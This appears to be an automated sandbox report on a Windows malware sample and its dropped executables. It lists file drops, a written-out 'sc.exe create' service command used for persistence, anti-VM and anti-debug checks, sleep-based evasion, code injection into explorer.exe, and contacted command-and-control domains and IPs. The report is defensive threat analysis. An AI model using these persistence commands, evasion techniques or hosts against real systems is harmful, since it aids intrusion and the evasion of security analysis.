Source: 43.0.1F0B.exe.1e0000.2.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'e0KvAJ04t7', '.cctor', 'tkJiqTkevvhouv4Lnq', 'wb1JDJ9abSmQ04uQSy', 'gjE9MB6RZR53VLvMob', 'MAoOSKcqg8B5IDu1o3'
Source: 43.0.1F0B.exe.1e0000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs High entropy of concatenated method names: '.cctor', 'zH0HRtC1TQ', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 43.0.1F0B.exe.1e0000.1.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'e0KvAJ04t7', '.cctor', 'tkJiqTkevvhouv4Lnq', 'wb1JDJ9abSmQ04uQSy', 'gjE9MB6RZR53VLvMob', 'MAoOSKcqg8B5IDu1o3'
Source: 43.2.1F0B.exe.1e0000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs High entropy of concatenated method names: '.cctor', 'zH0HRtC1TQ', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 43.2.1F0B.exe.1e0000.0.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'e0KvAJ04t7', '.cctor', 'tkJiqTkevvhouv4Lnq', 'wb1JDJ9abSmQ04uQSy', 'gjE9MB6RZR53VLvMob', 'MAoOSKcqg8B5IDu1o3'

Persistence and Installation Behavior:

barindex
Drops files with a non-matching file extension (content does not match file extension)
Source: C:\Windows\explorer.exe File created: C:\Users\user\AppData\Roaming\icgujuh Jump to dropped file
Source: C:\Windows\explorer.exe File created: C:\Users\user\AppData\Roaming\ecgujuh Jump to dropped file
Drops PE files
Source: C:\Windows\explorer.exe File created: C:\Users\user\AppData\Local\Temp\BFF4.exe Jump to dropped file
Source: C:\Windows\explorer.exe File created: C:\Users\user\AppData\Roaming\ecgujuh Jump to dropped file
Source: C:\Windows\explorer.exe File created: C:\Users\user\AppData\Local\Temp\2B8.exe Jump to dropped file
Source: C:\Windows\explorer.exe File created: C:\Users\user\AppData\Local\Temp\AEFA.exe Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe File created: C:\Windows\SysWOW64\rhrovez\rljdetbq.exe (copy) Jump to dropped file
Source: C:\Windows\explorer.exe File created: C:\Users\user\AppData\Local\Temp\8FB8.exe Jump to dropped file
Source: C:\Windows\explorer.exe File created: C:\Users\user\AppData\Local\Temp\D830.exe Jump to dropped file
Source: C:\Windows\explorer.exe File created: C:\Users\user\AppData\Local\Temp\97B8.exe Jump to dropped file
Source: C:\Windows\explorer.exe File created: C:\Users\user\AppData\Local\Temp\5D68.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\2B8.exe File created: C:\Users\user\AppData\Local\Temp\rljdetbq.exe Jump to dropped file
Source: C:\Windows\explorer.exe File created: C:\Users\user\AppData\Roaming\icgujuh Jump to dropped file
Source: C:\Windows\explorer.exe File created: C:\Users\user\AppData\Local\Temp\1F0B.exe Jump to dropped file
Source: C:\Windows\explorer.exe File created: C:\Users\user\AppData\Local\Temp\EC9F.exe Jump to dropped file
Source: C:\Windows\explorer.exe File created: C:\Users\user\AppData\Local\Temp\B729.exe Jump to dropped file
Drops PE files to the windows directory (C:\Windows)
Source: C:\Windows\SysWOW64\cmd.exe File created: C:\Windows\SysWOW64\rhrovez\rljdetbq.exe (copy) Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\2B8.exe Process created: C:\Windows\SysWOW64\sc.exe C:\Windows\SysWOW64\sc.exe" create rhrovez binPath= "C:\Windows\SysWOW64\rhrovez\rljdetbq.exe /d\"C:\Users\user\AppData\Local\Temp\2B8.exe\"" type= own start= auto DisplayName= "wifi support

Hooking and other Techniques for Hiding and Protection:

barindex
Deletes itself after installation
Source: C:\Windows\explorer.exe File deleted: c:\users\user\desktop\cz2zyel2zd.exe Jump to behavior
Hides that the sample has been downloaded from the Internet (zone.identifier)
Source: C:\Windows\explorer.exe File opened: C:\Users\user\AppData\Roaming\icgujuh:Zone.Identifier read attributes | delete Jump to behavior
Extensive use of GetProcAddress (often used to hide API calls)
Source: C:\Users\user\AppData\Local\Temp\EC9F.exe Code function: 23_2_0040C2E0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress, 23_2_0040C2E0
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Source: C:\Users\user\AppData\Local\Temp\2B8.exe Registry key monitored for changes: HKEY_CURRENT_USER_Classes Jump to behavior
Source: C:\Windows\System32\svchost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\svchost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2B8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2B8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2B8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2B8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2B8.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2B8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2B8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2B8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2B8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1F0B.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1F0B.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1F0B.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1F0B.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1F0B.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1F0B.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1F0B.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1F0B.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1F0B.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1F0B.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1F0B.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1F0B.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1F0B.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1F0B.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1F0B.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1F0B.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1F0B.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1F0B.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1F0B.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1F0B.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1F0B.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1F0B.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1F0B.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion:

barindex
Found evasive API chain (may stop execution after checking mutex)
Source: C:\Users\user\AppData\Local\Temp\EC9F.exe Evasive API call chain: CreateMutex,DecisionNodes,Sleep
Found evasive API chain (may stop execution after checking locale)
Source: C:\Users\user\AppData\Local\Temp\EC9F.exe Evasive API call chain: GetUserDefaultLangID, ExitProcess
Checks if the current machine is a virtual machine (disk enumeration)
Source: C:\Users\user\Desktop\cz2ZyeL2Zd.exe Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\Desktop\cz2ZyeL2Zd.exe Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\Desktop\cz2ZyeL2Zd.exe Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\Desktop\cz2ZyeL2Zd.exe Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\Desktop\cz2ZyeL2Zd.exe Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\Desktop\cz2ZyeL2Zd.exe Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\AppData\Roaming\icgujuh Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\AppData\Roaming\icgujuh Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\AppData\Roaming\icgujuh Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\AppData\Roaming\icgujuh Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\AppData\Roaming\icgujuh Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\AppData\Roaming\icgujuh Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5D68.exe Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5D68.exe Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5D68.exe Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5D68.exe Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5D68.exe Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5D68.exe Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)
Source: C:\Users\user\AppData\Local\Temp\EC9F.exe Evasive API call chain: GetPEB, DecisionNodes, Sleep
Source: C:\Users\user\AppData\Local\Temp\EC9F.exe Evasive API call chain: GetPEB, DecisionNodes, ExitProcess
Contains functionality to detect sleep reduction / modifications
Source: C:\Users\user\AppData\Local\Temp\EC9F.exe Code function: 23_2_00406AA0 23_2_00406AA0
Source: C:\Users\user\AppData\Local\Temp\EC9F.exe Code function: 23_2_02D26CF0 23_2_02D26CF0
Found evasive API chain (may stop execution after checking computer name)
Source: C:\Users\user\AppData\Local\Temp\EC9F.exe Evasive API call chain: GetComputerName,DecisionNodes,Sleep
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\explorer.exe TID: 1768 Thread sleep count: 588 > 30 Jump to behavior
Source: C:\Windows\explorer.exe TID: 5360 Thread sleep count: 231 > 30 Jump to behavior
Source: C:\Windows\explorer.exe TID: 4828 Thread sleep count: 360 > 30 Jump to behavior
Source: C:\Windows\explorer.exe TID: 4828 Thread sleep time: -36000s >= -30000s Jump to behavior
Source: C:\Windows\explorer.exe TID: 5396 Thread sleep count: 346 > 30 Jump to behavior
Source: C:\Windows\explorer.exe TID: 3660 Thread sleep count: 165 > 30 Jump to behavior
Source: C:\Windows\explorer.exe TID: 5388 Thread sleep count: 214 > 30 Jump to behavior
Source: C:\Windows\explorer.exe TID: 6340 Thread sleep count: 223 > 30 Jump to behavior
Source: C:\Windows\explorer.exe TID: 6348 Thread sleep count: 396 > 30 Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 3100 Thread sleep time: -120000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1F0B.exe TID: 6960 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Contains long sleeps (>= 3 min)
Source: C:\Users\user\AppData\Local\Temp\1F0B.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\explorer.exe Window / User API: threadDelayed 588 Jump to behavior
Source: C:\Windows\explorer.exe Window / User API: threadDelayed 360 Jump to behavior
Source: C:\Windows\explorer.exe Window / User API: threadDelayed 396 Jump to behavior
Found large amount of non-executed APIs
Source: C:\Users\user\AppData\Local\Temp\EC9F.exe API coverage: 6.2 %
May check if the current machine is a sandbox (GetTickCount - Sleep)
Source: C:\Users\user\AppData\Local\Temp\EC9F.exe Code function: 23_2_02D26CF0 23_2_02D26CF0
Found dropped PE file which has not been started or loaded
Source: C:\Windows\explorer.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\BFF4.exe Jump to dropped file
Source: C:\Windows\explorer.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\AEFA.exe Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe Dropped PE file which has not been started: C:\Windows\SysWOW64\rhrovez\rljdetbq.exe (copy) Jump to dropped file
Source: C:\Windows\explorer.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\8FB8.exe Jump to dropped file
Source: C:\Windows\explorer.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\D830.exe Jump to dropped file
Source: C:\Windows\explorer.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\97B8.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\2B8.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\rljdetbq.exe Jump to dropped file
Source: C:\Windows\explorer.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\B729.exe Jump to dropped file
Found evaded block containing many API calls
Source: C:\Users\user\AppData\Local\Temp\EC9F.exe Evaded block: after key decision
Source: C:\Users\user\AppData\Local\Temp\1F0B.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EC9F.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\EC9F.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\EC9F.exe API call chain: ExitProcess graph end node
Source: svchost.exe, 00000014.00000002.404788118.00000246D0884000.00000004.00000001.sdmp Binary or memory string: Hyper-V RAWv
Source: explorer.exe, 0000000D.00000000.308935069.00000000086C9000.00000004.00000001.sdmp Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 0000000D.00000000.308995090.0000000008778000.00000004.00000001.sdmp Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000}
Source: explorer.exe, 0000000D.00000000.308935069.00000000086C9000.00000004.00000001.sdmp Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}&
Source: explorer.exe, 0000000D.00000000.318239161.00000000067C2000.00000004.00000001.sdmp Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: BFF4.exe.13.dr Binary or memory string: hHGFSW
Source: explorer.exe, 0000000D.00000000.318239161.00000000067C2000.00000004.00000001.sdmp Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000m32)
Source: svchost.exe, 00000005.00000002.541864319.000002D975A02000.00000004.00000001.sdmp Binary or memory string: HvHostWdiSystemHostScDeviceEnumWiaRpctrkwksAudioEndpointBuilderhidservdot3svcDsSvcfhsvcWPDBusEnumsvsvcwlansvcEmbeddedModeirmonSensorServicevmicvssNgcSvcsysmainDevQueryBrokerStorSvcvmickvpexchangevmicshutdownvmicguestinterfacevmicvmsessionNcbServiceNetmanDeviceAssociationServiceTabletInputServicePcaSvcIPxlatCfgSvcCscServiceUmRdpService
Source: svchost.exe, 00000014.00000002.404556309.00000246D0829000.00000004.00000001.sdmp, svchost.exe, 00000014.00000002.405174140.00000246D08ED000.00000004.00000001.sdmp Binary or memory string: Hyper-V RAW
Source: explorer.exe, 0000000D.00000000.308935069.00000000086C9000.00000004.00000001.sdmp Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000
Source: svchost.exe, 00000005.00000002.542078705.000002D975A28000.00000004.00000001.sdmp, svchost.exe, 00000006.00000002.543853332.000001D194A67000.00000004.00000001.sdmp, svchost.exe, 00000007.00000002.543180945.000002239B42A000.00000004.00000001.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: C:\Users\user\Desktop\cz2ZyeL2Zd.exe Process information queried: ProcessInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EC9F.exe Code function: 23_2_00405E40 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,lstrlen,PathMatchSpecA,CopyFileA,DeleteFileA,PathMatchSpecA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 23_2_00405E40
Source: C:\Users\user\AppData\Local\Temp\EC9F.exe Code function: 23_2_004096E0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose, 23_2_004096E0
Source: C:\Users\user\AppData\Local\Temp\EC9F.exe Code function: 23_2_00401280 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,GlobalAlloc,FindClose, 23_2_00401280
Source: C:\Users\user\AppData\Local\Temp\EC9F.exe Code function: 23_2_00401090 SetCurrentDirectoryA,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose, 23_2_00401090
Source: C:\Users\user\AppData\Local\Temp\EC9F.exe Code function: 23_2_00409B40 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,FindNextFileA,FindClose, 23_2_00409B40
Source: C:\Users\user\AppData\Local\Temp\EC9F.exe Code function: 23_2_00409970 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 23_2_00409970
Source: C:\Users\user\AppData\Local\Temp\EC9F.exe Code function: 23_2_004087E0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 23_2_004087E0
Source: C:\Users\user\AppData\Local\Temp\EC9F.exe Code function: 23_2_02D214D0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose, 23_2_02D214D0
Source: C:\Users\user\AppData\Local\Temp\EC9F.exe Code function: 23_2_02D212E0 SetCurrentDirectoryA,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose, 23_2_02D212E0
Source: C:\Users\user\AppData\Local\Temp\EC9F.exe Code function: 23_2_02D26090 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,lstrlen,PathMatchSpecA,CopyFileA,DeleteFileA,PathMatchSpecA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 23_2_02D26090
Source: C:\Users\user\AppData\Local\Temp\EC9F.exe Code function: 23_2_02D28A30 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 23_2_02D28A30
Source: C:\Users\user\AppData\Local\Temp\EC9F.exe Code function: 23_2_02D29BC0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 23_2_02D29BC0
Source: C:\Users\user\AppData\Local\Temp\EC9F.exe Code function: 23_2_02D29D90 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,FindNextFileA,FindClose, 23_2_02D29D90
Source: C:\Users\user\AppData\Local\Temp\EC9F.exe Code function: 23_2_02D29930 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose, 23_2_02D29930
Source: C:\Users\user\Desktop\cz2ZyeL2Zd.exe System information queried: ModuleInformation Jump to behavior

Anti Debugging:

barindex
Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))
Source: C:\Users\user\Desktop\cz2ZyeL2Zd.exe System information queried: CodeIntegrityInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\icgujuh System information queried: CodeIntegrityInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5D68.exe System information queried: CodeIntegrityInformation Jump to behavior
Contains functionality to dynamically determine API calls
Source: C:\Users\user\AppData\Local\Temp\EC9F.exe Code function: 23_2_0040C2E0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress, 23_2_0040C2E0
Contains functionality to read the PEB
Source: C:\Users\user\Desktop\cz2ZyeL2Zd.exe Code function: 0_2_02CA0083 push dword ptr fs:[00000030h] 0_2_02CA0083
Source: C:\Users\user\AppData\Local\Temp\5D68.exe Code function: 22_2_0058092B mov eax, dword ptr fs:[00000030h] 22_2_0058092B
Source: C:\Users\user\AppData\Local\Temp\5D68.exe Code function: 22_2_00580D90 mov eax, dword ptr fs:[00000030h] 22_2_00580D90
Source: C:\Users\user\AppData\Local\Temp\EC9F.exe Code function: 23_2_00401000 mov eax, dword ptr fs:[00000030h] 23_2_00401000
Source: C:\Users\user\AppData\Local\Temp\EC9F.exe Code function: 23_2_0040C180 mov eax, dword ptr fs:[00000030h] 23_2_0040C180
Source: C:\Users\user\AppData\Local\Temp\EC9F.exe Code function: 23_2_02D2092B mov eax, dword ptr fs:[00000030h] 23_2_02D2092B
Source: C:\Users\user\AppData\Local\Temp\EC9F.exe Code function: 23_2_02D21250 mov eax, dword ptr fs:[00000030h] 23_2_02D21250
Source: C:\Users\user\AppData\Local\Temp\EC9F.exe Code function: 23_2_02D2C3D0 mov eax, dword ptr fs:[00000030h] 23_2_02D2C3D0
Source: C:\Users\user\AppData\Local\Temp\EC9F.exe Code function: 23_2_02D20D90 mov eax, dword ptr fs:[00000030h] 23_2_02D20D90
Source: C:\Users\user\AppData\Local\Temp\2B8.exe Code function: 26_2_02BE0083 push dword ptr fs:[00000030h] 26_2_02BE0083
Source: C:\Users\user\AppData\Local\Temp\2B8.exe Code function: 26_2_047C092B mov eax, dword ptr fs:[00000030h] 26_2_047C092B
Source: C:\Users\user\AppData\Local\Temp\2B8.exe Code function: 26_2_047C0D90 mov eax, dword ptr fs:[00000030h] 26_2_047C0D90
Checks if the current process is being debugged
Source: C:\Users\user\Desktop\cz2ZyeL2Zd.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Roaming\icgujuh Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5D68.exe Process queried: DebugPort Jump to behavior
Contains functionality to create guard pages, often used to hinder reverse engineering and debugging
Source: C:\Users\user\AppData\Local\Temp\EC9F.exe Code function: 23_2_004048D0 VirtualProtect ?,00000004,00000100,00000000 23_2_004048D0
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Source: C:\Users\user\AppData\Local\Temp\EC9F.exe Code function: 23_2_0040AC50 GetProcessHeap,RtlAllocateHeap,GetComputerNameA, 23_2_0040AC50
Source: C:\Users\user\AppData\Local\Temp\EC9F.exe Memory protected: page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\explorer.exe Domain query: bitly.com
Source: C:\Windows\explorer.exe Domain query: cdn.discordapp.com
Source: C:\Windows\explorer.exe Domain query: unicupload.top
Source: C:\Windows\explorer.exe Domain query: srtuiyhuali.at
Source: C:\Windows\explorer.exe Network Connect: 185.233.81.115 187 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: fufuiloirtu.com
Source: C:\Windows\explorer.exe Domain query: amogohuigotuli.at
Source: C:\Windows\explorer.exe Domain query: host-data-coin-11.com
Source: C:\Windows\explorer.exe Domain query: bit.ly
Source: C:\Windows\explorer.exe Network Connect: 185.186.142.166 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: privacytools-foryou-777.com
Source: C:\Windows\explorer.exe Domain query: data-host-coin-8.com
Source: C:\Windows\explorer.exe Domain query: unic11m.top
Benign windows process drops PE files
Source: C:\Windows\explorer.exe File created: 8FB8.exe.13.dr Jump to dropped file
Maps a DLL or memory area into another process
Source: C:\Users\user\Desktop\cz2ZyeL2Zd.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: read write Jump to behavior
Source: C:\Users\user\Desktop\cz2ZyeL2Zd.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read Jump to behavior
Source: C:\Users\user\AppData\Roaming\icgujuh Section loaded: unknown target: C:\Windows\explorer.exe protection: read write Jump to behavior
Source: C:\Users\user\AppData\Roaming\icgujuh Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5D68.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: read write Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5D68.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read Jump to behavior
Injects a PE file into a foreign processes
Source: C:\Users\user\AppData\Local\Temp\1F0B.exe Memory written: unknown base: 400000 value starts with: 4D5A Jump to behavior
Creates a thread in another existing process (thread injection)
